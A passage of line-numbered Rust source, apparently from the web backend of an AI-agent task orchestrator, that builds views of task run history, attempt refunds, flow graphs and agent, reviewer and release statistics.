4579 started_at: p.started_at,
4580 ended_at: p.ended_at,
4581 end,
4582 cause,
4583 label,
4584 cost: settled.map(|t| t.cost),
4585 }
4586 }
4587}
4588
4589#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4591#[serde(rename_all = "snake_case")]
4592enum RunExit {
4593 Unreadable,
4594 Interrupted,
4596 Parked,
4597 QuotaStall,
4598 ResumedQuotaStall,
4602 Merged,
4603 Ready,
4604 Superseded,
4605 AlreadyInBase,
4608 Stalled,
4610 HeldWithPr,
4612 NoopHeld,
4613 Spent,
4615 InProgress,
4616}
4617
4618#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4619#[serde(rename_all = "snake_case")]
4620enum AttemptCost {
4621 Spent,
4622 Refunded,
4623 None,
4624 Unknown,
4626}
4627
4628impl RunExit {
4629 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4630 let Some(s) = s else {
4631 return Self::Unreadable;
4632 };
4633 let status = s.status;
4634 if resumed_later {
4635 Self::Interrupted
4636 } else if s.parked {
4637 Self::Parked
4638 } else if !status.done() {
4639 Self::InProgress
4640 } else if matches!(status, RunStatus::Merged) {
4641 Self::Merged
4642 } else if matches!(status, RunStatus::Ready) {
4643 Self::Ready
4644 } else if matches!(status, RunStatus::Superseded) {
4645 Self::Superseded
4646 } else if matches!(status, RunStatus::AlreadyInBase) {
4647 Self::AlreadyInBase
4648 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4649 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4650 {
4651 if resumed {
4652 Self::ResumedQuotaStall
4653 } else {
4654 Self::QuotaStall
4655 }
4656 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4657 Self::HeldWithPr
4658 } else if matches!(status, RunStatus::VerifiedNoop) {
4659 Self::NoopHeld
4660 } else if matches!(status, RunStatus::Stalled) {
4661 Self::Stalled
4662 } else {
4663 Self::Spent
4664 }
4665 }
4666
4667 fn cost(self) -> AttemptCost {
4668 match self {
4669 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4670 Self::Merged
4671 | Self::Ready
4672 | Self::Stalled
4673 | Self::HeldWithPr
4674 | Self::NoopHeld
4675 | Self::Spent => AttemptCost::Spent,
4676 Self::InProgress => AttemptCost::None,
4677 Self::AlreadyInBase => AttemptCost::Refunded,
4678 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4679 AttemptCost::Unknown
4680 }
4681 }
4682 }
4683
4684 fn edge_label(self, status: Option<&str>) -> String {
4686 match self {
4687 Self::Unreadable => "record unreadable".to_owned(),
4688 Self::Interrupted => "interrupted before the run finished".to_owned(),
4689 Self::Parked => "parked, attempt refunded".to_owned(),
4690 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4691 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4692 Self::Merged => "merged".to_owned(),
4693 Self::Ready => "ready, not merged".to_owned(),
4694 Self::Superseded => "superseded by a later attempt".to_owned(),
4695 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4696 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4697 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4698 Self::NoopHeld => "verified no-op".to_owned(),
4699 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4700 Self::InProgress => "in progress".to_owned(),
4701 }
4702 }
4703
4704 fn explains(self, end: TaskStatus) -> bool {
4707 match self {
4708 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4709 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4710 Self::Unreadable | Self::Superseded | Self::Ready => true,
4711 _ => end != TaskStatus::Done,
4712 }
4713 }
4714}
4715
4716#[derive(Debug, Serialize)]
4718struct TaskDetailView {
4719 #[serde(flatten)]
4720 task: TaskView,
4721 max_attempts: usize,
4724 history: Vec<TaskRunView>,
4725 passes_total: usize,
4728 runs_distinct: usize,
4730 flow: FlowView,
4731 followup_origin: Option<FollowUpOrigin>,
4733 runs_unreadable: usize,
4735 attempts_note: &'static str,
4737}
4738
4739const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4740and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4741on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4742the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4743
4744fn review_branch_of(instruction: &str) -> Option<&str> {
4747 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4748 rest.split('`').next().filter(|b| !b.is_empty())
4749}
4750
4751#[derive(Default)]
4753struct RunSlot<'a> {
4754 n: usize,
4756 resumed: bool,
4758 resumed_later: Option<usize>,
4760 prior: Option<(&'a str, RunStatus)>,
4762 last: bool,
4763 pass: Option<&'a crate::run::RunPass>,
4765 settled: Option<&'a crate::queue::TaskPass>,
4767 pass_n: usize,
4769 passes_of_run: usize,
4770}
4771
4772fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4775 let RunSlot {
4776 n,
4777 resumed,
4778 resumed_later,
4779 prior,
4780 last,
4781 pass,
4782 settled,
4783 pass_n,
4784 passes_of_run,
4785 } = at;
4786 let short = run::short_of(id).to_owned();
4787 let Some(s) = state else {
4788 return TaskRunView {
4789 n,
4790 id: id.to_owned(),
4791 short,
4792 kind: "unknown",
4793 status: None,
4794 readable: false,
4795 provisional: false,
4796 description:
4797 "This run's record could not be read by this build (written by a different \
4798 magi, or removed), so what kind of attempt it was is unknown."
4799 .to_owned(),
4800 outcome: String::new(),
4801 created_at: None,
4802 pr: None,
4803 exit: RunExit::Unreadable,
4804 attempt: AttemptCost::Unknown,
4805 exit_label: RunExit::Unreadable.edge_label(None),
4806 later_pass: resumed_later,
4807 pass_n,
4808 passes_of_run,
4809 pass: None,
4810 branch: None,
4811 badge: None,
4812 };
4813 };
4814 let branch = review_branch_of(&s.instruction);
4815 let kind = if resumed {
4816 "resume"
4817 } else if branch.is_some() {
4818 "review"
4819 } else if task.solo || s.candidates.len() == 1 {
4820 "solo"
4821 } else {
4822 "competition"
4823 };
4824 let mut description = match kind {
4825 "resume" => {
4826 format!("Resumed run {short}: the same run carried on instead of competing again.")
4827 }
4828 "review" => format!(
4829 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4830 branch.unwrap_or_default()
4831 ),
4832 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4833 _ => format!(
4834 "Competition: {} candidates judged blind.",
4835 s.candidates.len().max(1)
4836 ),
4837 };
4838 if !resumed && let Some((p, st)) = prior {
4839 description.push_str(&format!(
4840 " A retry: run {p} before it ended {}.",
4841 st.display_label()
4842 ));
4843 }
4844
4845 let status = s.status;
4846 let provisional = matches!(status, RunStatus::Stalled)
4847 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4848 let head = if resumed_later.is_some() {
4849 String::new()
4850 } else {
4851 match status {
4852 RunStatus::Merged => "Merged.".to_owned(),
4853 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4854 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4855 RunStatus::AlreadyInBase => {
4856 "Already in the base: this change landed under other commits, nothing was left to land."
4857 .to_owned()
4858 }
4859 RunStatus::Stalled => {
4860 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4861 .to_owned()
4862 }
4863 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4864 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4865 RunStatus::VerifiedNoop => {
4866 "Verified no-op: the candidates found nothing to change.".to_owned()
4867 }
4868 other if other.done() => format!("Ended {}.", other.display_label()),
4869 other => format!("In progress ({}).", other.display_label()),
4870 }
4871 };
4872 let view = pass.map(|p| PassView::of(p, settled));
4873 let recorded_end = view
4874 .as_ref()
4875 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4876 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4877 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4878 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4879 None => "whether its attempt was handed back was not recorded",
4880 };
4881 let pass_note = if passes_of_run > 1 {
4882 format!(
4883 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4884 )
4885 } else {
4886 String::new()
4887 };
4888 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4889 let cause = match v.end {
4891 "parked" => format!("It was stopped on purpose: {}.", v.label),
4892 _ => format!("It {}.", v.label),
4893 };
4894 format!(
4895 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4896 capitalise(cost_words)
4897 )
4898 } else if let Some(k) = resumed_later {
4899 let cause = if s.quota.is_empty() {
4906 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4907 } else {
4908 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4909 };
4910 format!(
4911 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4912 )
4913 } else if s.parked {
4914 match recorded_end.and_then(|v| v.cause.as_ref()) {
4915 Some(cause) => format!(
4916 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4917 cause.label(),
4918 cost_words
4919 ),
4920 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4921 .to_owned(),
4922 }
4923 } else if !status.done()
4924 || matches!(
4925 status,
4926 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4927 )
4928 {
4929 String::new()
4930 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4931 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4932 {
4933 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4934 .to_owned()
4935 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4936 " It left a pull request open, so the task was held for a person rather than retried."
4937 .to_owned()
4938 } else if matches!(status, RunStatus::VerifiedNoop) {
4939 " Held for a person to check the claim.".to_owned()
4940 } else if last {
4941 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4942 } else {
4943 " It spent an attempt, and the task moved on to the next run.".to_owned()
4944 };
4945 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4946 let mut attempt = exit.cost();
4947 let mut exit_label = None;
4948 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4949 let spent = match v.cost {
4950 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4951 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4952 None if resumed_later.is_some() => ", refund not recorded",
4953 None => ", attempt refunded",
4954 };
4955 attempt = match v.cost {
4956 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4957 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4958 None if resumed_later.is_some() => AttemptCost::Unknown,
4959 None => attempt,
4960 };
4961 if v.end == "parked" {
4962 exit = RunExit::Parked;
4963 exit_label = Some(match v.cause.as_ref() {
4964 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4965 format!("parked for {}{spent}", c.label())
4966 }
4967 Some(c) => format!("parked ({}){spent}", c.label()),
4968 None => format!("parked{spent}"),
4969 });
4970 } else {
4971 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4972 }
4973 }
4974 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4975 TaskRunView {
4976 n,
4977 id: id.to_owned(),
4978 short,
4979 kind,
4980 status: Some(status.as_str()),
4981 readable: true,
4982 provisional,
4983 description,
4984 outcome: format!("{head}{why}"),
4985 created_at: Some(s.created_at),
4986 pr: s.pr.as_ref().map(|p| p.url.clone()),
4987 exit,
4988 attempt,
4989 exit_label,
4990 later_pass: resumed_later,
4991 pass_n,
4992 passes_of_run,
4993 pass: view,
4994 branch: branch.map(str::to_owned),
4995 badge: None,
4996 }
4997}
4998
4999fn capitalise(s: &str) -> String {
5000 let mut c = s.chars();
5001 c.next().map_or_else(String::new, |f| {
5002 f.to_uppercase().collect::<String>() + c.as_str()
5003 })
5004}
5005
5006#[derive(Debug, Serialize, PartialEq)]
5008struct FlowNode {
5009 key: String,
5011 kind: &'static str,
5013 label: String,
5014 status: Option<&'static str>,
5017 status_of: &'static str,
5020 note: Option<&'static str>,
5022 run_kind: Option<&'static str>,
5023 detail: Option<String>,
5024 decided: bool,
5026 readable: bool,
5027 href: Option<String>,
5028 badge: Option<String>,
5030}
5031
5032#[derive(Debug, Serialize, PartialEq)]
5033struct FlowEdge {
5034 from: String,
5035 to: String,
5036 label: String,
5037 attempt: AttemptCost,
5038}
5039
5040#[derive(Debug, Serialize, PartialEq)]
5041struct FlowView {
5042 nodes: Vec<FlowNode>,
5043 edges: Vec<FlowEdge>,
5044 attempts: usize,
5046 max_attempts: usize,
5047 passes: usize,
5050 runs: usize,
5051}
5052
5053fn task_flow(
5062 task: &Task,
5063 history: &[TaskRunView],
5064 max_attempts: usize,
5065 origin: Option<&FollowUpOrigin>,
5066) -> FlowView {
5067 let node = |key: &str, kind, label: String| FlowNode {
5068 key: key.to_owned(),
5069 kind,
5070 label,
5071 status: None,
5072 status_of: "run",
5073 note: None,
5074 run_kind: None,
5075 detail: None,
5076 decided: false,
5077 readable: true,
5078 href: None,
5079 badge: None,
5080 };
5081 let mut nodes = Vec::new();
5082 let mut edges: Vec<FlowEdge> = Vec::new();
5083 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5085 let mut n = node(
5086 "chat",
5087 "chat",
5088 format!("Chat {}", crate::queue::short(&link.id)),
5089 );
5090 n.href = Some(link.href);
5091 nodes.push(n);
5092 edges.push(FlowEdge {
5093 from: "chat".to_owned(),
5094 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5095 label: "queued from chat".to_owned(),
5096 attempt: AttemptCost::None,
5097 });
5098 }
5099 if let Some(o) = origin {
5100 let mut n = match &o.parent {
5101 Some(p) => {
5102 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5103 n.status = Some(p.status);
5104 n.status_of = "task";
5105 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5106 n.href = Some(p.href.clone());
5107 n
5108 }
5109 None => {
5110 let mut n = node(
5111 "origin",
5112 "followup",
5113 format!("Follow-up of run {}", o.run.short),
5114 );
5115 n.detail = Some("merged run".to_owned());
5116 n.status = o.run.status;
5117 n.href = o.run.href.clone();
5118 if o.run.href.is_none() {
5119 n.readable = false;
5120 n.note = Some("unreadable");
5121 }
5122 n
5123 }
5124 };
5125 n.decided = true;
5126 let from = n.key.clone();
5127 nodes.push(n);
5128 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5129 let more = o.findings.len().saturating_sub(shown.len());
5130 let label = match (shown.is_empty(), more) {
5131 (true, _) => "open findings".to_owned(),
5132 (false, 0) => format!("open findings {}", shown.join(", ")),
5133 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5134 };
5135 edges.push(FlowEdge {
5136 from,
5137 to: "start".to_owned(),
5138 label,
5139 attempt: AttemptCost::None,
5140 });
5141 }
5142 nodes.push(node("start", "start", "Task queued".to_owned()));
5143 let mut prev = "start".to_owned();
5144 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5145 for (i, h) in history.iter().enumerate() {
5146 let key = format!("run-{}", h.n);
5147 let mut n = node(&key, "run", format!("Run {}", h.short));
5148 n.run_kind = Some(h.kind);
5149 n.readable = h.readable;
5150 n.href = Some(format!("#/runs/{}", h.id));
5151 n.decided = h.readable && !h.provisional;
5152 n.detail = h
5153 .branch
5154 .as_ref()
5155 .map(|b| format!("review-only run of branch {b}"));
5156 match h.exit {
5157 RunExit::Unreadable => n.note = Some("unreadable"),
5158 RunExit::Interrupted => n.note = Some("interrupted"),
5159 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5162 _ => {
5163 n.status = h.status;
5164 n.badge = h.badge.clone();
5165 if h.provisional {
5166 n.note = Some("no verdict");
5167 }
5168 }
5169 }
5170 let into = match h.kind {
5171 "review" => Some(format!(
5172 "review-only run of branch {}",
5173 h.branch.as_deref().unwrap_or("?")
5174 )),
5175 "resume" => Some("resume the same run".to_owned()),
5176 _ if i > 0 => Some("retry".to_owned()),
5177 _ => None,
5178 };
5179 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5180 let label = match (prev_exit, into) {
5181 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5182 (Some((_, l, _)), None) => l,
5183 (None, Some(i)) => i,
5184 (None, None) => "claimed".to_owned(),
5185 };
5186 edges.push(FlowEdge {
5187 from: prev.clone(),
5188 to: key.clone(),
5189 label,
5190 attempt,
5191 });
5192 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5193 prev = key;
5194 nodes.push(n);
5195 }
5196 let mut end = node("end", "end", task.status.as_str().to_owned());
5197 end.status = Some(task.status.as_str());
5198 end.status_of = "task";
5199 nodes.push(end);
5200 let (label, attempt) = match prev_exit {
5201 None => (
5202 format!("no run yet \u{2192} {}", task.status.as_str()),
5203 AttemptCost::None,
5204 ),
5205 Some((e, l, cost)) if e.explains(task.status) => {
5206 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5207 }
5208 Some((_, _, cost)) => (
5209 format!("closed by hand: task is {}", task.status.as_str()),
5210 cost,
5211 ),
5212 };
5213 edges.push(FlowEdge {
5214 from: prev,
5215 to: "end".to_owned(),
5216 label,
5217 attempt,
5218 });
5219 FlowView {
5220 nodes,
5221 edges,
5222 attempts: task.attempts,
5223 max_attempts,
5224 passes: history.len(),
5225 runs: distinct_runs(&task.runs),
5226 }
5227}
5228
5229fn distinct_runs(runs: &[String]) -> usize {
5231 let mut seen: Vec<&str> = Vec::new();
5232 for r in runs {
5233 if !seen.contains(&r.as_str()) {
5234 seen.push(r);
5235 }
5236 }
5237 seen.len()
5238}
5239
5240fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5243 let mut history = Vec::with_capacity(task.runs.len());
5244 let mut seen: Vec<&str> = Vec::new();
5245 let mut prior: Option<(&str, RunStatus)> = None;
5246 for (i, run_id) in task.runs.iter().enumerate() {
5247 let state = read(run_id);
5248 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5249 let resumed = k > 0;
5250 seen.push(run_id);
5251 let total = task.runs.iter().filter(|r| *r == run_id).count();
5252 let pass = state.as_ref().and_then(|s| {
5258 let mine: Vec<&crate::run::RunPass> = s
5259 .passes
5260 .iter()
5261 .filter(|p| {
5262 p.task_entry
5263 || task
5264 .passes
5265 .iter()
5266 .any(|t| t.run == *run_id && t.pass_index == p.index)
5267 })
5268 .collect();
5269 let offset = total.checked_sub(mine.len())?;
5270 mine.get(k.checked_sub(offset)?).copied()
5271 });
5272 let settled = pass.and_then(|p| {
5273 task.passes
5274 .iter()
5275 .find(|t| t.run == *run_id && t.pass_index == p.index)
5276 });
5277 history.push(task_run_view(
5278 run_id,
5279 state.as_ref(),
5280 RunSlot {
5281 n: i + 1,
5282 resumed,
5283 resumed_later: task.runs[i + 1..]
5284 .iter()
5285 .position(|r| r == run_id)
5286 .map(|off| i + off + 2),
5287 prior,
5288 last: i + 1 == task.runs.len(),
5289 pass,
5290 settled,
5291 pass_n: k + 1,
5292 passes_of_run: total,
5293 },
5294 task,
5295 ));
5296 if let Some(s) = &state {
5297 prior = Some((run::short_of(run_id), s.status));
5298 }
5299 }
5300 history
5301}
5302
5303fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5306 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5307 return;
5308 }
5309 let (_, claimed, _) = run_row_inputs(ui);
5310 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5311 for h in history
5312 .iter_mut()
5313 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5314 {
5315 let Ok(state) = read_run(&ui.runs, &h.id) else {
5316 continue;
5317 };
5318 if state.status.done() {
5319 continue;
5320 }
5321 let live = state.liveness_with(
5322 claimed.contains(&h.id),
5323 |p| probe.borrow_mut().status(p),
5324 |p| probe.borrow_mut().started_at(p),
5325 );
5326 let waiting = !ui.questions.open_for(&h.id).is_empty();
5327 let display = run_display_status(&state, waiting, live);
5328 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5329 if matches!(word.as_str(), "stale" | "superseded")
5330 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5331 {
5332 h.badge = Some(word);
5333 }
5334 }
5335}
5336
5337async fn task_detail(
5338 State(ui): State<Arc<Ui>>,
5339 Path(id): Path<String>,
5340) -> ApiResult<Json<TaskDetailView>> {
5341 blocking(move || {
5342 let id = resolve_task(&ui.queue, &id)?;
5343 let task = ui
5344 .queue
5345 .get(&id)
5346 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5347 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
5348 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5349 mark_badges(&ui, &task, &mut history);
5350 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5351 let max_attempts = daemon::Opts::default().max_attempts;
5352 let origin = task.followup.as_ref().map(|fu| {
5353 followup_origin(
5354 fu,
5355 |tid| ui.queue.get(tid).ok(),
5356 |rid| read_run(&ui.runs, rid).ok(),
5357 )
5358 });
5359 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5360 Ok(Json(TaskDetailView {
5361 max_attempts,
5362 flow,
5363 followup_origin: origin,
5364 passes_total: history.len(),
5365 runs_distinct: distinct_runs(&task.runs),
5366 history,
5367 runs_unreadable,
5368 attempts_note: ATTEMPTS_NOTE,
5369 task: TaskView::with_inventory(task, &inv),
5370 }))
5371 })
5372 .await
5373}
5374
5375#[derive(Debug, Serialize)]
5379struct RateView {
5380 pct: f64,
5381 denominator: usize,
5382}
5383
5384impl RateView {
5385 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5386 (denominator > 0).then(|| Self {
5387 pct: 100.0 * numerator as f64 / denominator as f64,
5388 denominator,
5389 })
5390 }
5391}
5392
5393#[derive(Debug, Serialize)]
5398struct StatsTotalsView {
5399 runs: usize,
5400 merged: usize,
5401 ready: usize,
5402 blocked: usize,
5403 failed: usize,
5404 stalled: usize,
5405 verified_noop: usize,
5406 superseded: usize,
5407 in_progress: usize,
5408 completion_rate: Option<RateView>,
5409 tallied: usize,
5410 split: usize,
5411 split_rate: Option<RateView>,
5412 deliberated: usize,
5413 minds_changed: usize,
5414 converged: usize,
5415 review_rounds: usize,
5416}
5417
5418impl From<&stats::Totals> for StatsTotalsView {
5419 fn from(t: &stats::Totals) -> Self {
5420 Self {
5421 runs: t.runs,
5422 merged: t.merged,
5423 ready: t.ready,
5424 blocked: t.blocked,
5425 failed: t.failed,
5426 stalled: t.stalled,
5427 verified_noop: t.verified_noop,
5428 superseded: t.superseded,
5429 in_progress: t.in_progress,
5430 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5431 tallied: t.tallied,
5432 split: t.split,
5433 split_rate: RateView::of(t.split, t.tallied),
5434 deliberated: t.deliberated,
5435 minds_changed: t.minds_changed,
5436 converged: t.converged,
5437 review_rounds: t.review_rounds,
5438 }
5439 }
5440}
5441
5442#[derive(Debug, Serialize)]
5444struct AgentStatsView {
5445 agent: String,
5446 entered: usize,
5447 wins: usize,
5448 empty: usize,
5449 win_rate: Option<RateView>,
5450 competitive_entered: usize,
5451 competitive_wins: usize,
5452 competitive_win_rate: Option<RateView>,
5453 solo_entered: usize,
5454 solo_adopted: usize,
5455 solo_adoption_rate: Option<RateView>,
5456}
5457
5458impl From<&stats::AgentStats> for AgentStatsView {
5459 fn from(a: &stats::AgentStats) -> Self {
5460 Self {
5461 agent: a.agent.clone(),
5462 entered: a.entered,
5463 wins: a.wins,
5464 empty: a.empty,
5465 win_rate: RateView::of(a.wins, a.entered),
5466 competitive_entered: a.competitive_entered,
5467 competitive_wins: a.competitive_wins,
5468 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5469 solo_entered: a.solo_entered,
5470 solo_adopted: a.solo_adopted,
5471 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5472 }
5473 }
5474}
5475
5476#[derive(Debug, Serialize)]
5480struct ReviewerStatsView {
5481 agent: String,
5482 rounds: usize,
5483 seated: usize,
5484 submitted: usize,
5485 adopted: usize,
5486 unique: usize,
5487 timeouts: usize,
5488 adopted_per_round: Option<f64>,
5489 precision: Option<RateView>,
5490 unique_rate: Option<RateView>,
5491 timeout_rate: Option<RateView>,
5492}
5493
5494impl From<&stats::ReviewerStats> for ReviewerStatsView {
5495 fn from(r: &stats::ReviewerStats) -> Self {
5496 Self {
5497 agent: r.agent.clone(),
5498 rounds: r.rounds,
5499 seated: r.seated,
5500 submitted: r.submitted,
5501 adopted: r.adopted,
5502 unique: r.unique,
5503 timeouts: r.timeouts,
5504 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5505 precision: RateView::of(r.adopted, r.submitted),
5506 unique_rate: RateView::of(r.unique, r.submitted),
5507 timeout_rate: RateView::of(r.timeouts, r.seated),
5508 }
5509 }
5510}
5511
5512#[derive(Debug, Serialize)]
5518struct AdvisorStatsView {
5519 agent: String,
5520 seated: usize,
5521 proposed: usize,
5522 absent: usize,
5523 faint: usize,
5524 strong: usize,
5525 reflection_rate: Option<RateView>,
5526}
5527
5528impl From<&stats::AdvisorStats> for AdvisorStatsView {
5529 fn from(a: &stats::AdvisorStats) -> Self {
5530 Self {
5531 agent: a.agent.clone(),
5532 seated: a.seated,
5533 proposed: a.proposed,
5534 absent: a.absent,
5535 faint: a.faint,
5536 strong: a.strong,
5537 reflection_rate: RateView::of(a.strong, a.proposed),
5538 }
5539 }
5540}
5541
5542#[derive(Debug, Serialize)]
5544struct E2eStatsView {
5545 rounds: usize,
5546 failures: usize,
5547 sole_detections: usize,
5548 deferred: usize,
5549 sole_rate: Option<RateView>,
5550}
5551
5552impl From<&stats::E2eStats> for E2eStatsView {
5553 fn from(e: &stats::E2eStats) -> Self {
5554 Self {
5555 rounds: e.rounds,
5556 failures: e.failures,
5557 sole_detections: e.sole_detections,
5558 deferred: e.deferred,
5559 sole_rate: RateView::of(e.sole_detections, e.failures),
5560 }
5561 }
5562}
5563
5564#[derive(Debug, Serialize)]
5572struct ReleaseBumpStatsView {
5573 merged: usize,
5574 recorded: usize,
5575 pr_opened: usize,
5576 automerge_enabled: usize,
5577 merged_directly: usize,
5578 needs_attention: usize,
5579 clean: usize,
5580 coverage_rate: Option<RateView>,
5581 automerge_rate: Option<RateView>,
5582 attention_rate: Option<RateView>,
5583}
5584
5585impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5586 fn from(b: &stats::ReleaseBumpStats) -> Self {
5587 Self {
5588 merged: b.merged,
5589 recorded: b.recorded,
5590 pr_opened: b.pr_opened,
5591 automerge_enabled: b.automerge_enabled,
5592 merged_directly: b.merged_directly,
5593 needs_attention: b.needs_attention,
5594 clean: b.clean(),
5595 coverage_rate: RateView::of(b.recorded, b.merged),
5596 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5597 attention_rate: RateView::of(b.needs_attention, b.recorded),
5598 }
5599 }
5600}
5601
5602#[derive(Debug, Serialize)]
5604struct TaskCountsView {
5605 queued: usize,
5606 running: usize,
5607 done: usize,
5608 failed: usize,
5609 held: usize,
5610 blocked: usize,
5611 parked: usize,
5612}
5613
5614impl From<crate::queue::TaskCounts> for TaskCountsView {
5615 fn from(c: crate::queue::TaskCounts) -> Self {
5616 Self {
5617 queued: c.queued,
5618 running: c.running,
5619 done: c.done,
5620 failed: c.failed,
5621 held: c.held,
5622 blocked: c.blocked,
5623 parked: c.parked,
5624 }
5625 }
5626}
5627
5628#[derive(Debug, Serialize)]
5634struct RepoSummaryView {
5635 repo: String,
5638 name: String,
5640 runs: usize,
5641 completion_rate: Option<RateView>,
5642}
5643
5644impl From<&stats::RepoStats> for RepoSummaryView {
5645 fn from(r: &stats::RepoStats) -> Self {
5646 let t = &r.stats.totals;
5647 Self {
5648 repo: r.repo.to_string_lossy().into_owned(),
5649 name: r.name.clone(),
5650 runs: t.runs,
5651 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5652 }
5653 }
5654}
5655
5656#[derive(Debug, Serialize)]
5662struct StatsView {
5663 totals: StatsTotalsView,
5664 agents: Vec<AgentStatsView>,
5666 reviewers: Vec<ReviewerStatsView>,
5668 advisors: Vec<AdvisorStatsView>,
5670 e2e: E2eStatsView,
5671 release_bumps: ReleaseBumpStatsView,
5672 queue: TaskCountsView,
5673 runs_unreadable: usize,
5683 repos: Vec<RepoSummaryView>,
5687 daily: Vec<DailyStatsView>,
5692 repo: Option<String>,
5696 retired_hidden: Vec<String>,
5700}
5701
5702#[derive(Debug, Serialize)]
5704struct DailyStatsView {
5705 date: String,
5707 runs: usize,
5708 merged: usize,
5709 ready: usize,
5710 other: usize,
5711 completion_rate: Option<RateView>,
5713}
5714
5715impl From<&stats::DayBucket> for DailyStatsView {
5716 fn from(b: &stats::DayBucket) -> Self {
5717 Self {
5718 date: b.date.to_string(),
5719 runs: b.runs,
5720 merged: b.merged,
5721 ready: b.ready,
5722 other: b.other,
5723 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5724 }
5725 }
5726}
5727
5728const STATS_DAILY_DAYS: usize = 30;
5730
